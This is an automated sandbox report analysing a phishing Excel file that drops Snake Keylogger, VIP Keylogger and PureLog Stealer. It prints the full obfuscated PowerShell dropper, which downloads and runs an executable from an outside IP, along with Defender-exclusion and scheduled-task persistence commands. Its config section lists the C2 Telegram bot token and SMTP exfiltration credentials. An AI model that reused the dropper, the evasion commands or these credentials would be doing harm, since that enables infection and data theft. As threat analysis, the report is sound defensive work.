Edit tour

Windows Analysis Report
SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx

Overview

General Information

Sample name:	SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx
Analysis ID:	1492413
MD5:	d35618eec168e30e2a2df672f612388c
SHA1:	7637c3d56066f932e38de4918c5a3756791491e2
SHA256:	bd980fb1f921bf16d88b62d519ed6adb057ffc3c93532fca6465fac9e7074123
Tags:	xlsx
Infos:

Detection

PureLog Stealer, Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Sigma detected: Scheduled temp file as task from temp location

Suricata IDS alerts for network traffic

Yara detected PureLog Stealer

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

AI detected suspicious Excel or Word document

Adds a directory exclusion to Windows Defender

Document exploit detected (process start blacklist hit)

Excel sheet contains many unusual embedded objects

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Machine Learning detection for sample

Microsoft Office drops suspicious files

PowerShell case anomaly found

Powershell drops PE file

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: File With Uncommon Extension Created By An Office Application

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: System File Execution Location Anomaly

Sigma detected: Windows Binaries Write Suspicious Extensions

Suspicious command line found

Suspicious powershell command line found

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Yara detected MalDoc

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Compiles C# or VB.Net code

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Document misses a certain OLE stream usually present in this Microsoft Office document type

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Excel Network Connections

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1208 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

mshta.exe (PID: 2480 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

cmd.exe (PID: 2040 cmdline: "C:\Windows\system32\cmd.exe" "/C POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

powershell.exe (PID: 3096 cmdline: POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 3312 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 3328 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4D56.tmp" "c:\Users\user\AppData\Local\Temp\d1xzy0xm\CSCCF15997BD6B546CEB43AF983F4CD5CA2.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

sihost.exe (PID: 3408 cmdline: "C:\Users\user\AppData\Roaming\sihost.exe" MD5: D02CC222E09FD373FAF4030AC735618C)

powershell.exe (PID: 3472 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

schtasks.exe (PID: 3488 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmp8AF2.tmp" MD5: 2003E9B15E1C502B146DAD2E383AC1E3)

sihost.exe (PID: 3620 cmdline: "C:\Users\user\AppData\Roaming\sihost.exe" MD5: D02CC222E09FD373FAF4030AC735618C)

AcroRd32.exe (PID: 3176 cmdline: "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding MD5: 2F8D93826B8CBF9290BC57535C7A6817)

RdrCEF.exe (PID: 3940 cmdline: "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043 MD5: 326A645391A97C760B60C558A35BB068)

taskeng.exe (PID: 3636 cmdline: taskeng.exe {6C210698-E638-4D51-B8D8-9F29DBC70A32} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1] MD5: 65EA57712340C09B1B0C427B4848AE05)

bKVNuVuE.exe (PID: 3712 cmdline: C:\Users\user\AppData\Roaming\bKVNuVuE.exe MD5: D02CC222E09FD373FAF4030AC735618C)

powershell.exe (PID: 3780 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

schtasks.exe (PID: 3816 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmpA3FD.tmp" MD5: 2003E9B15E1C502B146DAD2E383AC1E3)

bKVNuVuE.exe (PID: 3948 cmdline: "C:\Users\user\AppData\Roaming\bKVNuVuE.exe" MD5: D02CC222E09FD373FAF4030AC735618C)

bKVNuVuE.exe (PID: 3532 cmdline: "C:\Users\user\AppData\Roaming\bKVNuVuE.exe" MD5: D02CC222E09FD373FAF4030AC735618C)

bKVNuVuE.exe (PID: 3556 cmdline: "C:\Users\user\AppData\Roaming\bKVNuVuE.exe" MD5: D02CC222E09FD373FAF4030AC735618C)

bKVNuVuE.exe (PID: 3504 cmdline: "C:\Users\user\AppData\Roaming\bKVNuVuE.exe" MD5: D02CC222E09FD373FAF4030AC735618C)

bKVNuVuE.exe (PID: 3560 cmdline: "C:\Users\user\AppData\Roaming\bKVNuVuE.exe" MD5: D02CC222E09FD373FAF4030AC735618C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendMessage"}

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Bot Token": "7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU", "Chat id": "403948698", "Email ID": "yUiavQX8", "Password": "us2.smtp.mailhostbox.com", "Host": "favourcloning@gmail.com", "Port": "587", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "jyotis@sixilncoln.com", "Password": "yUiavQX8", "Host": "us2.smtp.mailhostbox.com", "Port": "587"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx	JoeSecurity_MalDoc_4	Yara detected MalDoc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000002.460456249.0000000003699000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000C.00000002.455899860.00000000004D0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000001D.00000002.626231318.0000000002891000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000011.00000002.625935756.0000000002691000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e05b:$a1: get_encryptedPassword 0x7147b:$a1: get_encryptedPassword 0xb469b:$a1: get_encryptedPassword 0x2e378:$a2: get_encryptedUsername 0x71798:$a2: get_encryptedUsername 0xb49b8:$a2: get_encryptedUsername 0x2de6b:$a3: get_timePasswordChanged 0x7128b:$a3: get_timePasswordChanged 0xb44ab:$a3: get_timePasswordChanged 0x2df74:$a4: get_passwordField 0x71394:$a4: get_passwordField 0xb45b4:$a4: get_passwordField 0x2e071:$a5: set_encryptedPassword 0x71491:$a5: set_encryptedPassword 0xb46b1:$a5: set_encryptedPassword 0x2f779:$a7: get_logins 0x72b99:$a7: get_logins 0xb5db9:$a7: get_logins 0x2f6dc:$a10: KeyLoggerEventArgs 0x72afc:$a10: KeyLoggerEventArgs 0xb5d1c:$a10: KeyLoggerEventArgs
0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: sihost.exe PID: 3408	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: sihost.exe PID: 3408	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: sihost.exe PID: 3408	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: sihost.exe PID: 3408	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x8553a:$a1: get_encryptedPassword 0x8584d:$a2: get_encryptedUsername 0x85354:$a3: get_timePasswordChanged 0x8545d:$a4: get_passwordField 0x85550:$a5: set_encryptedPassword 0x87a13:$a7: get_logins 0x87976:$a10: KeyLoggerEventArgs 0x875df:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: sihost.exe PID: 3620	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: sihost.exe PID: 3620	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: sihost.exe PID: 3620	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: bKVNuVuE.exe PID: 3560	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bKVNuVuE.exe PID: 3560	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.sihost.exe.3699550.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
12.2.sihost.exe.3699550.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
12.2.sihost.exe.4d0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
12.2.sihost.exe.4d0000.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
12.2.sihost.exe.43da760.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.sihost.exe.43da760.5.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
12.2.sihost.exe.43da760.5.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.sihost.exe.43da760.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bafb:$a1: get_encryptedPassword 0x2be18:$a2: get_encryptedUsername 0x2b90b:$a3: get_timePasswordChanged 0x2ba14:$a4: get_passwordField 0x2bb11:$a5: set_encryptedPassword 0x2d219:$a7: get_logins 0x2d17c:$a10: KeyLoggerEventArgs 0x2cde1:$a11: KeyLoggerEventArgsEventHandler
12.2.sihost.exe.43da760.5.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x398e1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38f84:$a3: \Google\Chrome\User Data\Default\Login Data 0x391e1:$a4: \Orbitum\User Data\Default\Login Data 0x39bc0:$a5: \Kometa\User Data\Default\Login Data
12.2.sihost.exe.43da760.5.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c772:$s1: UnHook 0x2c779:$s2: SetHook 0x2c781:$s3: CallNextHook 0x2c78e:$s4: _hook
12.2.sihost.exe.441db80.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.sihost.exe.441db80.7.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
12.2.sihost.exe.441db80.7.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.sihost.exe.441db80.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.sihost.exe.441db80.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.2.sihost.exe.441db80.7.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
12.2.sihost.exe.441db80.7.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.sihost.exe.441db80.7.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d8fb:$a1: get_encryptedPassword 0x70b1b:$a1: get_encryptedPassword 0x2dc18:$a2: get_encryptedUsername 0x70e38:$a2: get_encryptedUsername 0x2d70b:$a3: get_timePasswordChanged 0x7092b:$a3: get_timePasswordChanged 0x2d814:$a4: get_passwordField 0x70a34:$a4: get_passwordField 0x2d911:$a5: set_encryptedPassword 0x70b31:$a5: set_encryptedPassword 0x2f019:$a7: get_logins 0x72239:$a7: get_logins 0x2ef7c:$a10: KeyLoggerEventArgs 0x7219c:$a10: KeyLoggerEventArgs 0x2ebe1:$a11: KeyLoggerEventArgsEventHandler 0x71e01:$a11: KeyLoggerEventArgsEventHandler
12.2.sihost.exe.441db80.7.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b6e1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7e901:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ad84:$a3: \Google\Chrome\User Data\Default\Login Data 0x7dfa4:$a3: \Google\Chrome\User Data\Default\Login Data 0x3afe1:$a4: \Orbitum\User Data\Default\Login Data 0x7e201:$a4: \Orbitum\User Data\Default\Login Data 0x3b9c0:$a5: \Kometa\User Data\Default\Login Data 0x7ebe0:$a5: \Kometa\User Data\Default\Login Data
12.2.sihost.exe.441db80.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e572:$s1: UnHook 0x71792:$s1: UnHook 0x2e579:$s2: SetHook 0x71799:$s2: SetHook 0x2e581:$s3: CallNextHook 0x717a1:$s3: CallNextHook 0x2e58e:$s4: _hook 0x717ae:$s4: _hook
12.2.sihost.exe.43da760.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.sihost.exe.43da760.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.2.sihost.exe.441db80.7.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bafb:$a1: get_encryptedPassword 0x2be18:$a2: get_encryptedUsername 0x2b90b:$a3: get_timePasswordChanged 0x2ba14:$a4: get_passwordField 0x2bb11:$a5: set_encryptedPassword 0x2d219:$a7: get_logins 0x2d17c:$a10: KeyLoggerEventArgs 0x2cde1:$a11: KeyLoggerEventArgsEventHandler
12.2.sihost.exe.43da760.5.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
12.2.sihost.exe.43da760.5.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
12.2.sihost.exe.441db80.7.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x398e1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38f84:$a3: \Google\Chrome\User Data\Default\Login Data 0x391e1:$a4: \Orbitum\User Data\Default\Login Data 0x39bc0:$a5: \Kometa\User Data\Default\Login Data
12.2.sihost.exe.43da760.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d8fb:$a1: get_encryptedPassword 0x70d1b:$a1: get_encryptedPassword 0xb3f3b:$a1: get_encryptedPassword 0x2dc18:$a2: get_encryptedUsername 0x71038:$a2: get_encryptedUsername 0xb4258:$a2: get_encryptedUsername 0x2d70b:$a3: get_timePasswordChanged 0x70b2b:$a3: get_timePasswordChanged 0xb3d4b:$a3: get_timePasswordChanged 0x2d814:$a4: get_passwordField 0x70c34:$a4: get_passwordField 0xb3e54:$a4: get_passwordField 0x2d911:$a5: set_encryptedPassword 0x70d31:$a5: set_encryptedPassword 0xb3f51:$a5: set_encryptedPassword 0x2f019:$a7: get_logins 0x72439:$a7: get_logins 0xb5659:$a7: get_logins 0x2ef7c:$a10: KeyLoggerEventArgs 0x7239c:$a10: KeyLoggerEventArgs 0xb55bc:$a10: KeyLoggerEventArgs
12.2.sihost.exe.441db80.7.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c772:$s1: UnHook 0x2c779:$s2: SetHook 0x2c781:$s3: CallNextHook 0x2c78e:$s4: _hook
12.2.sihost.exe.43da760.5.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b6e1:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7eb01:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xc1d21:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ad84:$a3: \Google\Chrome\User Data\Default\Login Data 0x7e1a4:$a3: \Google\Chrome\User Data\Default\Login Data 0xc13c4:$a3: \Google\Chrome\User Data\Default\Login Data 0x3afe1:$a4: \Orbitum\User Data\Default\Login Data 0x7e401:$a4: \Orbitum\User Data\Default\Login Data 0xc1621:$a4: \Orbitum\User Data\Default\Login Data 0x3b9c0:$a5: \Kometa\User Data\Default\Login Data 0x7ede0:$a5: \Kometa\User Data\Default\Login Data 0xc2000:$a5: \Kometa\User Data\Default\Login Data
12.2.sihost.exe.43da760.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e572:$s1: UnHook 0x71992:$s1: UnHook 0xb4bb2:$s1: UnHook 0x2e579:$s2: SetHook 0x71999:$s2: SetHook 0xb4bb9:$s2: SetHook 0x2e581:$s3: CallNextHook 0x719a1:$s3: CallNextHook 0xb4bc1:$s3: CallNextHook 0x2e58e:$s4: _hook 0x719ae:$s4: _hook 0xb4bce:$s4: _hook
Click to see the 25 entries

Sigma Signatures

System Summary

Sigma detected: File With Uncommon Extension Created By An Office Application

Source: File created

Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 1208, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\40[1].hta

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3096, TargetFilename: C:\Users\user\AppData\Roaming\sihost.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\sihost.exe" , ParentImage: C:\Users\user\AppData\Roaming\sihost.exe, ParentProcessId: 3408, ParentProcessName: sihost.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe", ProcessId: 3472, ProcessName: powershell.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

